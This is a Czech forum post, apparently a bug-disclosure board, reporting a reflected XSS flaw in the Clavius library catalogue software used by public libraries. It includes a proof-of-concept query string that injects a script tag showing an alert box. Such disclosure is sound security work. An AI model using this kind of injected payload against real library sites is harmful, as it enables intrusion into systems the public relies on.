Knihovní systém Clavius - XSS
BugTrack
| Knihovní systém Clavius - XSS | # |
| NonPersident XSS na všech stránkách, kde tento systém využívají. Jedná se o tyto stránky [link] . Normálně bych todle ani nepsal, ale bohužel se jedná o komerční program, který využívají veřejné knihovny, a tak mi příjde blbé, že tvůrcům utekla i tato jednoduchá chyba.
Jo ještě ukázka, tak třeba toto:
[link]
?h%7E=&DD=1&H1=%3Cscript%3Ealert%28
%22XSS%22%29%3C
%2Fscript%3E&V1=z&P1=2&H2=&
V2=z&P2=3&H3=&V3=z&
P3=4&H4=&V4=z&P4=547&H5=&am
p;V5=z&P5=33
Nějak to poskládejte, páč to pěkně rozházelo strukturu :)
----------
Když nejde o život, tak o hovno de...
Charles Bukowski - kdo zna, ten vi :)
(odpovědět) | |
|
|
| re: Knihovní systém Clavius - XSS | # |
| Ach jo, oprava překlepu *NonPersistent XSS :)
(odpovědět) | | babca | 77.48.172.* | 3.2.2008 21:35 |
|
|
|
